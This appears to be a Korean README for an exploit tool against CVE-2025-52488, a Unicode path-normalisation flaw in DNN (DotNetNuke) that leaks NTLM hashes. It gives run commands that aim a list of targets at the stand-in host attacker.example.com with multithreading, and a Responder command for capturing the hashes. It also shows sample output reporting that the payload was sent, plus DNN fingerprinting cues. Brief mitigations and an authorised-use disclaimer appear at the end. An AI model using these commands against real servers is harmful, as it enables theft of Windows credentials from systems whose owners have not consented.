DNN 유니코드 경로 정규화 NTLM 해시 노출 익스플로잇 (CVE-2025-52488)

개요

이 익스플로잇은 DNN(구 DotNetNuke) 6.0.0 이상 10.0.1 미만 버전에서 유니코드 경로 정규화 공격을 통해 공격자가 NTLM 해시를 노출할 수 있는 취약점을 대상으로 합니다.

취약점 세부 정보

• CVE ID: CVE-2025-52488
• 심각도: 높음 (CVSS 8.6)
• 영향받는 버전: 6.0.0 이상 10.0.1 미만
• 공격 벡터: 네트워크
• 인증: 필요하지 않음

작동 원리

이 익스플로잇은 Windows/.NET의 특성과 유니코드 정규화를 악용하여 대상 DNN 서버가 공격자가 제어하는 서버에 SMB 요청을 보내도록 강제하며, 인증 과정에서 NTLM 해시가 노출될 수 있습니다.

사전 요구 사항

1. Python 3.7+
2. 필수 패키지 (pip install -r requirements.txt로 설치)
3. NTLM 해시 캡처용 SMB 서버 (예: Responder, Burp Collaborator)

사용법

기본 사용법

python main.py targets.txt attacker.example.com

사용자 정의 매개변수 사용

python main.py targets.txt 192.168.1.100 -t 20 --timeout 15

인자

• targets: DNN 호스트 목록이 포함된 파일 (한 줄에 하나)
• smb_server: NTLM 해시를 캡처할 SMB 서버 호스트명/IP
• -t, --threads: 동시 스레드 수 (기본값: 10)
• --timeout: 요청 시간 초과(초) (기본값: 10)

대상 파일 형식

대상 URL이 한 줄에 하나씩 포함된 텍스트 파일을 생성합니다:

http://target1.example.com
https://target2.example.com:8080
target3.example.com

SMB 서버 설정

Responder와 같은 도구를 사용하여 NTLM 해시를 캡처할 수 있습니다:

responder -I eth0 -wrf

또는 대역 외 탐지를 위해 Burp Collaborator를 사용하십시오.

출력 예시

[2025-01-XX-XX:XX:XX] [INFO] Starting DNN NTLM hash disclosure exploit against 5 targets
[2025-01-XX-XX:XX:XX] [INFO] SMB Server: attacker.example.com
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] DNN indicator found: dnn_IsMobile
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] File upload endpoint accessible
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] Exploit payload sent successfully
[2025-01-XX-XX:XX:XX] [INFO] [target1.com] Check your SMB server for incoming NTLM authentication attempts

탐지 지표

이 익스플로잇은 다음 DNN 지표를 찾습니다:

• dnn_IsMobile 쿠키
• 응답 내 dotnetnuke
• 응답 내 dnnconnect
• 응답 내 DNN Platform

완화 조치

• DNN을 버전 10.0.1 이상으로 업데이트
• 외부 서버로의 SMB 요청을 차단하는 네트워크 수준 제어 구현
• 의심스러운 파일 업로드 시도 모니터링

면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. 책임감 있게 사용하고 소유하거나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오.

참고 자료

• CVE-2025-52488
• Assetnote Research